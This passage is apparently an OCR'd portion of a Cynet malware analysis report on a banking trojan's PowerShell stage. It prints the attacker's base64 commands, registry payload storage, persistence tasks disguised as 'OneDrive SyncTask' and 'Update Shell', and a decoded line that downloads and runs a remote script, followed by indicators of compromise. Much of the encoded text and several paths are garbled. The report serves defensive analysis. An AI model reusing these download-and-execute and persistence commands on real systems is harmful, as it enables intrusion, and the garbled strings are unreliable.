After we finished the investigation and analyzed the trojan banker, we can go back to the second part of the
first PowerShell Command.

thdTask '[System.Text.Encoding]: :Unicode.GetString([System.Convert]: :FromBase64String ("WwBTAHKAcWBBAGUABQAUAE4AZQBOAC4AUWB1AHIAdgBpAGMAZQBQAGBAAQ
BUAHQATQBhAG4AYQBNAGUAcgBdADOAOgBTAGUAYWB1AHIAaQBOAHKAUABYAGBAdABVAGMABWBSACAAPQAZAF SARQBUAHUABQBAADOAOEBUAGBATWB1AGOAZQBjAHQAKABBAFMAEQBZAHQAZQBLAC
4ATgBlAHQALgBTAGUAYWB1AHIAaQBOAHKAUABYAGSAdABVAGMAbWBSAFQAeQBWAGUAXQASACAAMWAWADCcAMgAPADsADQAKACQAYgBhAHMAZQA2ADQACWBBAHIAaQBUAGCATAASACAAKAACAEAAZQ
B3ACOATWB1AGOAZQBjAHQAIABTAHKACWBBAGUABQAUAE4AZQBBACAAVWB1AGIAQWBSAGKAZQBUAHQAKQAUAEQABWB3AGAAbABVAGEAZABTAHQACEBPAGAAZWACACCAaABOAHQACABZADOALWAVAG
cAaQBOAGWAYQBiAC4AYWBVAGOALWBVAEWAOQBNAGIAegB1AFAAMWA3ACSACEBOACBACWBUAGKACABWAGUAdABZACBAMQASADUANEAZADAANQAVAHIAYQB3ACCAKQAPAAGACEBbAEKATWAUAEYAaQ
BSAGUAXQABADOAVWBYAGKAdABIAEEADABSAEIAeQBOAGUACWAOACIAJAB1AGAAdgA6AHQAZQBLAHAAXABJAHMALEB1AHEAZQAIACWATABDAEMAbWBUAHYAZQBYAHQAXQAGADOAREBYAGSADQBCAG
EACWB1ADYANABTAHQACEBPAG4AZWACACQAY gBhAHMAZQA2ADQACWBRAHIAaQBUAGCAKQAPAABACEBZAHQAYQBYAHQALQBWAHIAbWBJAGUACWBZACAATgAKAGUAbEB2ADOAdABLAGRACABCAGM
AcwWAUAGUAeAB1ACIATAAtAFcAaQBUAGQAbWB3ACAASABPAGQAZABIAG4ATAAZAHWATABVAHUAdAATAGAAdQBSAGWADQAKAA==")) | iex'
-path HKCU:\Software\cr)){
-Item -Path HKCU:\Software\ -name cr

/ -Path HKCU:\Software\cr -Name f -PropertyType string -Value #thdTask -force | out-null

cmd.exe -ArgumentList ' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 2 /tr “"powershell -w 1 -e aQBlAHgAIAAKACgARWBIAHQA
LQBJAHQAZQBtAFAACEBVAHAAZQBYAHQAEQAZACOAUABhAHQAaAAEACAASABLAEMAVQABAFWAUWBVAGYAdAB3AGEACEB1AFWAYWBYACAALQBOAGEABQB1ACAAZEAEACBARQBYAHIAbWBYAEEAYWBO
AGkAbwBUACAAUWBOAGSACAAPACAAZAA="" WindowStyle

The second part of the command sets a new value to the “HKCU\Sofatwarte\cr” registry key that related
to the $thTask variable which contains the binary of the trojan Banker that we have analyzed above.

It also creates a scheduled task with CMD instance and named it “Update Shell’. The task will execute the
PowerShell command in base 64 format.

After decoding the base 64 command, we have figured that it will invoke the “HKCU\Sofatwarte\cr” value

which means that the trojan Banker’s binary (hysvc.exe) will be executed by the PowerShell command directly
from the registry:

iex $(Get-ItemProperty -Path HKCU:\Software\cr -Name f -ErrorAction Stop).d

In parallel, the downloader “1849226900.exe” which was responsible for downloading the main payload
(cs.exe), executes another CMD instance in order to execute an additional PowerShell command:
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Parent Details. Params ‘C:‘.UsersD\AppDa(a\Local‘;Temp\‘\8492269@&9):9‘
Parent Details. Path c:'.user5=appdata\loca1‘xtemp\1E49226966.exe
Parent Details. Pid
Parent Details. Running User
Parent Details. SHA256 1FeDDF3B88ACT5862FET1D1C4F11FOC39645EEETE4ACCI3BATFGEF14DFCED5288
Parent Pr Details. S8Dx 12288 :D9ciEWzp4fqhCCT77upilcRGbWWkKke 9TmdRtxQBWUX2FgmvusUshghl :3jcghJipiwo jbWHKYOT jm2eyh
Parent Pr Details. is signed Not checked
tionTime A 2028-84-21 00:47
Params cmd /c powershell -exec bypass -e JABrACAAPQAQACCAWWBTAHkAcWBBAGUAbQAUAFQAZOB4AHOALgBFAGAAYWBYAGQAaQBUAGCAXQABADOAVOBUAGKAYWBVAGOAZQAUAECAZ

QBOAFMAJABYAGKAbGBNACOAMWETAHKACWEBAGUADQAUAEMADWBUAHY AZOBYAHOAXOABADOARGBY AGEADQBCAGEACWE1ADYANABT AHOACQBPAGAAZWADACTAVWBIAETAVABBAEgAaWEBA
GMAJWBCADAAQUBHAFUAQQOBIAFEAQQBETAEEARQABAEE AWGBRAEIAMABBAEMANABBAFUAdWBCAGWAQDBIAEKAQQBK AGCAQGBWAEEARWBNAEEAWGBRAETAUQBBAECADABBAGEALQBCAHUAR
QBIAFEAQQBUAFEAQGBOAEEARWABAEEANQBRAETAbGBBAECAVOBBAGHAZWBCAGQAQOBEAGBAQOBPAGCAOGBUAEEARWBVAEEANQB3AETAN]BBAEgASOBBAGE AUQBCADAAQOBIAGSAQQBYA
EEAQQBSAEEARWA4AEEAZABBAETAdgBBAECATOBBAGIAdWECAHMAQQBDAEE AQOBOAFEAQQBNAEEARDBZ AEEAUGBRAETAJOBBAEQAVOBBAGTAUQBCAGQADOBEAGBANOBPAGC AQQBVAEEAR
WA4AEEAVABIAEIAAQBBAECADWBBAF 0AUQBCAGOADQBIAFEAQUBLAEEAQYBIAEEARGBNAEEAZOBRAEIACQBBAEQALQBBAF 0AUQBCAHQAQDBDADOAQUBUAGC AQQBSAEEASABRAEEATABNA
EIAVABBAECAVOBBAFKAdWBCADEAQQBIAEKAQQBhAFEAQQGAWAEEASAB rAEEAVOBBAEIAcQBBAECACABBAGQAQQBCAHY AQQBHAEBAQQBIAHCAQGBZAEEARGBRAEEAZQBRAETAdWBBAECAV
QBBAFgAUQBBAHMAQOBDAEEAQOBNAHCAQDB3AEEARAB JAEEATOBNAEEAC ABBAEQACHEEAGEAUQBCAGWAQOBIAGCAQOR JAEEAQOBY AEEAQWBNAEEAVABNAETADABBAEQAY WEBAEWAUQBCA
FAAQOBHAEKAQQBhAGCAQQBSAEEARWENAEEAZABBAEEAZWEBAEY ATOBEAGUAUQBCAHOAQUBIAFEAQUE2AFEAQGBOAEEAQWAGAEEAVABNAETADABBAEgAUQBEAEWAZWECAFgAQOBHAFUAQ
QBZAGCAQGBEAEEARWB3AEEAYOBRAEIADABBAECANABBAGOANOBBAHAAQNBDADQAQOBSAEEAQGB2 AEEASAB ] AEEAY gBNAETACWBBAECADABBAFKAUOBCAGSAQQBGAEGAQOBKAEEAQGBSA
EEARWBrAEEAYQBNAETAbgBBAEMAZWEBAECAdWBCAGBAQQBTAFEAQQBKAEEAQQB3AEEASABNAEEATWEBNAEEAdQBBAEMAOABBAFKAUQBCAHOADQBTAEUAQOBMAGC AQQBrAEEARABZAEEAY
WE3AETADWBBAECAaWBBAGEAUOBCADMAQDEIAG2AQOBMAGCADGBIAEEASAR JAEEATABZAETAMWEBAECAaWBBAGTAZWEBAHYAQUBHAGSAQOBIAGCAQQBAAEEAQWALAEEAWOEIAETADWEBA
EcAVOBBAFkAdwBCAHIAQQBHAGSAQQB1AGCAQGBUAEEAQWABAEEAYWBBAET AegBBAEQARQBBAE0AdWBBAHAAQQBDAGSAQQALACKAKQAGAHWAT ABPAGUACAANAABACGANAADATgB1AHCAL
QBJAHQAZQBTAFAACOBYAHAAZOBYAHOARQAGACBAUABRAHOABAAGAEGASWBDAFUAOGBCAFMADWBMAHQAdWEBRAHTAZQAGACBATOBhAGRAZQAGAGSAdOBTAGKATAATAFAACOBYAHAAZQBYA
HOA2OBUAHKACABLACAACHBOAHTAZQBUAGCATAATAFYAYOQBSAHUAZOQAGACOASWAACEAZgBVAHTAYWELACAATAAQAGSAdUBOACDADGE ] AGWADAANAAOACWEOAGEACQBOACEACABYAGRAY
WB1AHMACWAGACAAYWBtAGOALgB1AHGAZOAGACRAQOBYAGCAJOBTAGUADGBBAEWAROBZAHQATAANACAALWE ] ACAACWE j AGgAdABhAHMAaWBZACAAL WB jAHIAZQBhAHQAZ QAQACBAZ gAgA
CAALWBBAGAATAAIAEBADGBIAEQACGBPAHYAZQAGAFMASQBUAGMAYABhAHMABWATACAALWBZAGHATABoAGBAJOBY AGWASQAGACBADQBYACAAMQAGACEAdABYACAAT gBWAGBAdWB1AHI AC
WEOAGUADABSACAALOB3ACAANDAQACRAZOAQAGEALOBCAGWAQNBIAGCAQDBJAEEAQDBr AEEAQWENAEEAUGB3AETADABBAE QAUQBEAEWAUQBCAE0AQOBIAFEAQOBAAFEAQQERAEEARGEBA
EEAYWBNAEIAdgBBAEGAQQBBAFoAUQBCAHKAQQBIAFEAQQEIAFEAQQBNAEEAQWAWAEEAVQBBAEIASABBAEgAUQBBAGEAQQBBAGCAQQBDAEEAQQBTAEEAQGBMAEEARQBNAEEAVGBRAEEAN
gBBAEYAdWBBAFUAdWBCAHYAQOBHAFkAQOBkAEEAQNGAZAEE ARWBFAEEAYWBNAETADABBAEMAQOBBAEWAUQBCAEBANOBHAEUAQOB1AFEAQQBSAEEAQWBBAEEAY 1B3AETAMOBBAECANABBA
GEAUQBBAGCAQUBDADAAQOBSAFEAQQBSAEEASARJAEEAYQE3AET AcQBEAEUAROBEAFKAdWECADAAQUBHAGSAQDB1AHCAQGE AEEAQWEBBAEEAVOEIAETAMABEAEC ADABBAGHAQOBEBAHAAD
0QBDADQAQUBhAHCAQQAXAEEARWAWAEEAYOBRAEEAPQAIACCATAATAFCAGNBUAGQADWBIAFMACABSAGHAZQAQAEQARQBKAGDAZOBUAA==

Process Details.

Path c:\windows\syswow64\cmd.exe

After decoding the PowerShell command, we discovered the following:

[3 '[System.Text.Encoding]: :Unicode.GetString([System.Convert]::FromBase64String("WwBTAHKAcWBOAGUAbQAUAE4AZQBOACAAUWBLAHIAdgBpAGMAZQBQAG8AaQBUAHQA
TQBhAG4AYQBnAGUACgBdADOAOgBTAGUAYWB1AHIAaQBOAHKAUABYAGSAdABVAGMAbWBSACAAPQAEAF SARQBUAHUAbQBAADOAOEBUAGBATWB1AGOAZQBAHQAKABbAFMAeQBZAHQAZQBtAC4ATEBL
AHQALgBTAGUAYWB1AHIAaQBOAHKAUABYAGEAJABYAGMAbWBSAFQAeQBWAGUAXQASACAAMWAWADCAMgAPADSAaQBLAHgATAACACEATgB1AHCALQBPAGIAagBl1AGMAdAAGAFMACQBZAHQAZQBLACAA
TgB1AHQAL gBXAGUAY gBDAGWAaQB1AGAAdAAPACAARABVAHCAbgBSAGBAYQBKAFMAdABYAGKAD

gBnACgAIWBoAHQAdABWAHMAOEAVACSAYQBZAHEAL gBKADYAcWBOAGKkAaQB3AHOAL gBWAHCALWB3AGKAbgAVAGKAbgBZACBAYWBOAGUAYWBrAGKAbEBNACAACABZADEAIWAPACKA")) | iex

New-ItemProperty -Path HKCU:\Software -Name kumi -PropertyType string -Value fk -force out-null

start-process cmd.exe -ArgumentlList ' /c schtasks /create /f /tn "OneDrive SyncTask" /sc hourly /mo 1 /tr "powershell -w 1 -e aQBlAHgAIAAKACgZARWBL
AHQALQBIJAHQAZQBtAFAACEBVAHAAZQBYAHQAEQAZACRAUABhAHQASAAEACAASABLAEMAVQABAFWAUWBVAGYAJAB3AGEACEB1ACAALQBOAGEADQBIACAAaWB1AGOAaQAZACOARQBYAHIAbWBYAEEA
YwBOAGkAbwBUACAAUWBBAGBACAAPACAAawB1AGOAaQA="" -WindowStyle

The first part is the $K variable that contains a base 64 command.

[System.Net.ServicePointManager]: :SecurityProtocol [Enum] : : ToObject([System.Net.SecurityProtocolType], 3072);iex ((New-Object
System.Net.WebClient).DownloadString( 'https://asq.déshiiwz.pw/win/ins/checking.ps1'))

After decoding the command, we see that it launchs a pure fileless attack that run from the PowerShell virtual
memory. The command initiates network communication to the following URL:

“hxxps.//asq.d6shiiwz[. Jow/win/ins/checking[.Jps1” in order to invoke the content of the “checking.ps1” script.
This activity happened by the IEX (Invoke-Expression) cmdlet that executes the content of the PS1 file by
using the DownladString method.

Unfortunately, the URL nolonger exists and when we have tried to access the URL, we get no response:

& C 8 asg.d6shiiwz.pw/win/ins/checking.ps1

AMNY.RUN - Interacti... @ Free Automated M I

Not Found

The requested URL was not found on this server.

Apache’2.4.38 (Debian) Server at asq.d6shiiwz.pw Porr 443
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In order to verify that the malicious URL does not exist, we have tried to run a CURL command. In some of the
cases attacker can fake the HTML page to show no response, while there is active communication to the
malicious domain.

[3 "[System.Text.Encoding]: :Unicode.GetString([System.Convert]: :FromBase64String ("WwBTAHKACWBOAGUAbQAUAE4AZQBOACAAUWBIAHIAdEBpPAG
MAZQBQAG8AaQBUAHQATQBhAG4AYQBNAGUACgBdADOAOEBTAGUAYWB1AHIAaQB@AHKAUABYAG8AdABVAGMAbWBSACAAPQAZAF sARQBUAHUAbQBAADOAOgBUAGBATWBiAGOA
ZQBjAHQAKABbAFMAEQBZAHQAZQBTAC4ATEB1AHQALEBTAGUAYWB1AHIAaQBOAHKAUABYAGBAdABVAGMAbWBSAFQAEQBWAGUAXQASACAAMWAWADCAMEAPADSAGQBIAHZATA
AoACgATgBlAHCALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtACAATgB1AHQAL gBXAGUAYgEBDAGWAAQB1AGAAdAAPACAARABVAHCAbgBsAGBAYQBKAFMAdABYAGKAbgBN
ACgAIWBOAHQAdABWAHMAOEAVACBAYQBZAHEAL gBKADYACWBOAGKAaQB3AHOAL gBWAHCALWB3AGKAbgAVAGKkAbgBZACBAYWBOAGUAYWBrAGKAbgBNACAACABZADEAIWAPAC
kA")) | iex'

New-ItemProperty -Path HKCU:\Software -Name kumi -PropertyType string -Value %k -force | out-null «

start-process cmd.exe -ArgumentList ' /c schtasks /create /f /tn "OneDrive SyncTask" /sc hourly /mo 1 /tr "powershell -w 1 -e aQ
B1AHgAIAAKACEARWB1AHQALQBIAHQAZQBtAFAACEBVAHAAZQBYAHQAEQAZACOAUABhAHQAAAEACAASABLAEMAVQAGAFWAUWBVAGYAdAB3AGEACEBIACAALQBOAGEADQBL
ACAAawB1AGOAaQAgACOARQBYAHIAbwBYAEEAYWBOAGKkAbWBUACAAUWBOAGBACAAPACAAaWBIAGRAaQA="" -WindowStyle

In the second part of the PowerShell command, it sets a new value in the “HKCU:\Sofatware” registry key. The
value name is “kumi” and it contains the $k variable, which means it will execute the malicious PS1 script
content.

Furthermore, it will create a schedule task named: “OneDrive SyncTask”. The task will execute a PowerShell
command.

In order to understand what the purpose of the command, we have decoded the base 64 command:

iex ¢(Get-ItemProperty -Path HKCU:\Software -Name kumi -ErrorAction Stop).kumi|

The command simply executes by the IEX cmdlet the kumi value which contain the malicious PS1 script.

Attack ended at 7:47:56.000 PM (13 seconds after it executed)

INDICATORS OF COMPROMISE

Type Indicator
Registry HKCU:\Sofatware (value — Kumi)
HKCU\Sofatwarte\cr

Schedule Task OneDrive SyncTask
GoogleChromUpdate Task

Update Shell

SHA256 4a471f05c7624238ef374bbf3afdeeb2abc20f87579ecdbeefeab1356e23ae69
1f0ddf5088ac75862fe1d1c4f11f9c39645eee1ed4acc938a1f66f14dfc5d5288

e09013a2ac876746a5143f8ee8f997b06688b71adc05ddb81aeb9a1a69fa6f88
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URL hxxps://asq.d6shiiwz[. Jow/win/ins/checking[.Jps1
hxxps://gitlab[.Jcom/UL9gbzuP37/rt/snippets/1956305/raw

hxxp://bzqopgtera[.]xyz/

Conclusion

The Cynet Research Team has analyzed and investigated different threats and malware using various tools
and techniques. Cynet’s seasoned security experts are familiar with the newest attacks vectors and
techniques that exist in the wild.

Cynet 360 customers are fully protected from these kinds of threats and have full visibility over their protected
assets. Cynet has various behavioral and heuristics capabilities designed to detect and prevent advanced
threats like the one described in this report.

The Cynet 360 solution gives our customers the ability to control and manage cyber security incidents, to
perform forensic analysis on infected environments, and to run remote actions on the infected hosts in order to
mitigate the threat. On top of that, we have our CyOps team which is monitoring our customers’ environments
24/7/365.

Contact Cynet CyOps
(Cynet Security Operations Center)

The Cynet CyOps available to clients for any issues 24/7, questions or comments related to Cynet 360. For
additional information, you may contact us directly at:

Phone (US): +1-347-474-0048
Phone (EU): +44-203-290-9051
Phone (IL): +972-72-336-9736

CyOps Email: [email protected]
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https://www.cynet.com/cdn-cgi/l/email-protection#cab9a5a98aa9b3a4afbee4a9a5a7

